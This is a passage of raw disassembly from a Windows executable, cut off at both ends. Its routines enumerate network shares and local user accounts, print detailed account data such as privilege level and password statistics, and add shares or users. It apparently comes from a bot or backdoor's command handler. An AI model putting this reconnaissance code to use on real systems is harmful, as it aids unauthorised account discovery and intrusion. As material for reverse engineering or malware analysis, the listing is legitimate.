		push	0
		call	sub_412945
		add	esp, 0Ch


loc_412894:				; CODE XREF: sub_41281F+27j
		test	eax, eax
		jnz	short loc_41285F


loc_412898:				; CODE XREF: sub_41281F+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DA8DC
		push	off_4422DC[eax*4]
		push	offset dword_442944
		push	esi
		call	sub_4171D0
		add	esp, 10h
		jmp	short loc_4128D8
; ---------------------------------------------------------------------------


loc_4128B8:				; CODE XREF: sub_41281F+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DA8DC
		lea	eax, [eax+eax*2]
		push	off_4422D8[eax*4]
		push	offset unk_44298C
		push	esi
		call	sub_4171D0
		add	esp, 0Ch


loc_4128D8:				; CODE XREF: sub_41281F+65j
					; sub_41281F+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41281F	endp

; ---------------------------------------------------------------------------
		push	esi
		xor	esi, esi
		cmp	[esp+8], esi
		jnz	short loc_4128EB
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4128EB:				; CODE XREF: ___:004128E5j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_4DD330
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	dword ptr [esp+28h]
		push	ebx
		push	esi
		call	edi
		test	byte_4DAADC, 1
		mov	ebp, eax
		jnz	short loc_412928
		or	byte_4DAADC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_419BB0
		pop	ecx
		mov	dword_4DA87C, eax


loc_412928:				; CODE XREF: ___:00412910j
		push	esi
		push	esi
		push	ebp
		push	dword_4DA87C
		push	0FFFFFFFFh
		push	dword ptr [esp+28h]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DA87C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412945	proc near		; CODE XREF: sub_41281F+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4129B0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4129B0
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_4185C0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4129B0
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_44523C
		pop	edi
		leave
		retn
sub_412945	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129B0	proc near		; CODE XREF: sub_412945+Ap
					; sub_412945+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4129BD
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4129BD:				; CODE XREF: sub_4129B0+9j
		push	ebx
		push	esi
		mov	esi, dword_4DD3A8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_419BB0
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4129B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4129F1	proc near		; CODE XREF: sub_41281F+20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4129B0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4129B0
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_445214
		pop	esi
		retn
sub_4129F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A14	proc near		; CODE XREF: sub_403038+276Ap

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4129B0
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 18h


loc_412A4D:				; CODE XREF: sub_412A14+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_44528C
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_412AB0
		cmp	ebx, 0EAh
		jz	short loc_412AB0
		push	ebx
		push	ebx
		call	sub_4131C9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_442A08
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 24h
		jmp	short loc_412B1D
; ---------------------------------------------------------------------------


loc_412AB0:				; CODE XREF: sub_412A14+5Dj
					; sub_412A14+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_412B14
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_412ABE:				; CODE XREF: sub_412A14+FCj
		push	dword ptr [esi+10h]
		call	dword_445230
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_412AD5
		mov	eax, offset aNo	; "No"


loc_412AD5:				; CODE XREF: sub_412A14+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_412ABE
		xor	esi, esi


loc_412B14:				; CODE XREF: sub_412A14+A2j
		push	[ebp+var_4]
		call	dword_4453D8


loc_412B1D:				; CODE XREF: sub_412A14+9Aj
		cmp	ebx, 0EAh
		jz	loc_412A4D
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_412A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B35	proc near		; CODE XREF: sub_403038+27BDp
					; sub_403038+27E4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_412BD9
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_412B77
		dec	eax
		jz	short loc_412B6C
		dec	eax
		jnz	short loc_412B92
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_412C7B
		add	esp, 14h
		jmp	short loc_412B8E
; ---------------------------------------------------------------------------


loc_412B6C:				; CODE XREF: sub_412B35+1Dj
		push	ebx
		push	edi
		call	sub_412C5A
		pop	ecx
		pop	ecx
		jmp	short loc_412B8E
; ---------------------------------------------------------------------------


loc_412B77:				; CODE XREF: sub_412B35+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_412B8B
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_412C00
		add	esp, 0Ch
		jmp	short loc_412B8E
; ---------------------------------------------------------------------------


loc_412B8B:				; CODE XREF: sub_412B35+45j
		push	57h
		pop	eax


loc_412B8E:				; CODE XREF: sub_412B35+35j
					; sub_412B35+40j ...
		cmp	eax, edi
		jnz	short loc_412BB2


loc_412B92:				; CODE XREF: sub_412B35+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAAE0
		push	off_4422DC[eax*4]
		push	offset unk_442A30
		push	esi
		call	sub_4171D0
		add	esp, 10h
		jmp	short loc_412BF9
; ---------------------------------------------------------------------------


loc_412BB2:				; CODE XREF: sub_412B35+5Bj
		push	eax
		call	sub_4131C9
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAAE0
		push	off_4422D8[eax*4]
		push	offset unk_442A50
		push	esi
		call	sub_4171D0
		add	esp, 18h
		jmp	short loc_412BF9
; ---------------------------------------------------------------------------


loc_412BD9:				; CODE XREF: sub_412B35+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAAE0
		lea	eax, [eax+eax*2]
		push	off_4422D8[eax*4]
		push	offset unk_442A80
		push	esi
		call	sub_4171D0
		add	esp, 0Ch


loc_412BF9:				; CODE XREF: sub_412B35+7Bj
					; sub_412B35+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412B35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C00	proc near		; CODE XREF: sub_412B35+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4129B0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4129B0
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4129B0
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_445220
		pop	edi
		leave
		retn
sub_412C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C5A	proc near		; CODE XREF: sub_412B35+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4129B0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4129B0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_445210
		pop	esi
		retn
sub_412C5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C7B	proc near		; CODE XREF: sub_412B35+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4129B0
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4129B0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4453A0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_413008
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_413043
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4171D0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_412D94
		dec	eax
		jz	short loc_412D8D
		dec	eax
		jz	short loc_412D86
		mov	eax, offset aUnknown_0 ; "Unknown"
		jmp	short loc_412D99
; ---------------------------------------------------------------------------


loc_412D86:				; CODE XREF: sub_412C7B+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_412D99
; ---------------------------------------------------------------------------


loc_412D8D:				; CODE XREF: sub_412C7B+FFj
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_412D99
; ---------------------------------------------------------------------------


loc_412D94:				; CODE XREF: sub_412C7B+FCj
		mov	eax, offset aGuest ; "Guest"


loc_412D99:				; CODE XREF: sub_412C7B+109j
					; sub_412C7B+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4171D0
		push	1


loc_412F4C:				; DATA XREF: ___:off_443704o
					; ___:off_443708o
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_401445
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_413034
; ---------------------------------------------------------------------------


loc_413008:				; CODE XREF: sub_412C7B+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_442C30
		push	eax
		call	sub_4171D0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_401445
		add	esp, 20h


loc_413034:				; CODE XREF: sub_412C7B+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_413043
		push	[ebp+var_4]
		call	dword_4453D8


loc_413043:				; CODE XREF: sub_412C7B+40j
					; sub_412C7B+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_412C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413049	proc near		; CODE XREF: sub_403038+2821p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4129B0
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 18h


loc_413088:				; CODE XREF: sub_413049+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4452A8
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4130E9
		cmp	eax, 0EAh
		jz	short loc_4130E9
		push	eax
		push	eax
		call	sub_4131C9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_442CAC
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 24h
		jmp	short loc_413164
; ---------------------------------------------------------------------------


loc_4130E9:				; CODE XREF: sub_413049+62j
					; sub_413049+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413177
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413164


loc_4130FB:				; CODE XREF: sub_413049+EDj
		cmp	edi, esi
		jz	short loc_41313A
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_34	; "  %S"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4130FB
		jmp	short loc_413164
; ---------------------------------------------------------------------------


loc_41313A:				; CODE XREF: sub_413049+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_442C78
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 1Ch


loc_413164:				; CODE XREF: sub_413049+9Ej
					; sub_413049+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413177
		push	edi
		call	dword_4453D8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_413177:				; CODE XREF: sub_413049+A5j
					; sub_413049+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413088
		cmp	edi, esi
		jz	short loc_41318F
		push	edi
		call	dword_4453D8


loc_41318F:				; CODE XREF: sub_413049+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_413049	endp


; =============== S U B	R O U T	I N E =======================================



sub_4131C9	proc near		; CODE XREF: sub_41281F+41p
					; sub_412A14+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41327B
		jz	loc_413274
		cmp	eax, 7Bh
		ja	short loc_413240
		jz	short loc_413236
		cmp	eax, 5
		jz	short loc_41322C
		cmp	eax, 8
		jz	short loc_413222
		cmp	eax, 32h
		jz	short loc_413218
		cmp	eax, 35h
		jz	short loc_41320E
		cmp	eax, 57h
		jnz	loc_4132CA
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_41320E:				; CODE XREF: sub_4131C9+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_413218:				; CODE XREF: sub_4131C9+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_413222:				; CODE XREF: sub_4131C9+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_41322C:				; CODE XREF: sub_4131C9+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_413236:				; CODE XREF: sub_4131C9+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_413240:				; CODE XREF: sub_4131C9+1Aj
		sub	eax, 7Ch
		jz	short loc_41326D
		sub	eax, 7C8h
		jz	short loc_413266
		dec	eax
		jz	short loc_41325C
		dec	eax
		jnz	short loc_4132CA
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_41325C:				; CODE XREF: sub_4131C9+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4132EB
; ---------------------------------------------------------------------------


loc_413266:				; CODE XREF: sub_4131C9+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_41326D:				; CODE XREF: sub_4131C9+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_413274:				; CODE XREF: sub_4131C9+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_41327B:				; CODE XREF: sub_4131C9+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4132B4
		jz	short loc_4132AD
		sub	eax, 8ADh
		jz	short loc_4132DF
		dec	eax
		dec	eax
		jz	short loc_4132A6
		dec	eax
		jz	short loc_41329F
		dec	eax
		dec	eax
		jnz	short loc_4132CA
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_41329F:				; CODE XREF: sub_4131C9+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132A6:				; CODE XREF: sub_4131C9+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132AD:				; CODE XREF: sub_4131C9+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132B4:				; CODE XREF: sub_4131C9+B9j
		sub	eax, 8CAh
		jz	short loc_4132E6
		sub	eax, 17h
		jz	short loc_4132DF
		sub	eax, 25h
		jz	short loc_4132D8
		sub	eax, 29h
		jz	short loc_4132D1


loc_4132CA:				; CODE XREF: sub_4131C9+35j
					; sub_4131C9+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132D1:				; CODE XREF: sub_4131C9+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132D8:				; CODE XREF: sub_4131C9+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132DF:				; CODE XREF: sub_4131C9+C2j
					; sub_4131C9+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4132EB
; ---------------------------------------------------------------------------


loc_4132E6:				; CODE XREF: sub_4131C9+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_4132EB:				; CODE XREF: sub_4131C9+40j
					; sub_4131C9+4Aj ...
		push	offset dword_4DA880
		call	sub_4171D0
		pop	ecx
		mov	eax, offset dword_4DA880
		pop	ecx
		retn
sub_4131C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132FD	proc near		; CODE XREF: sub_403038+2861p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_419D00
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
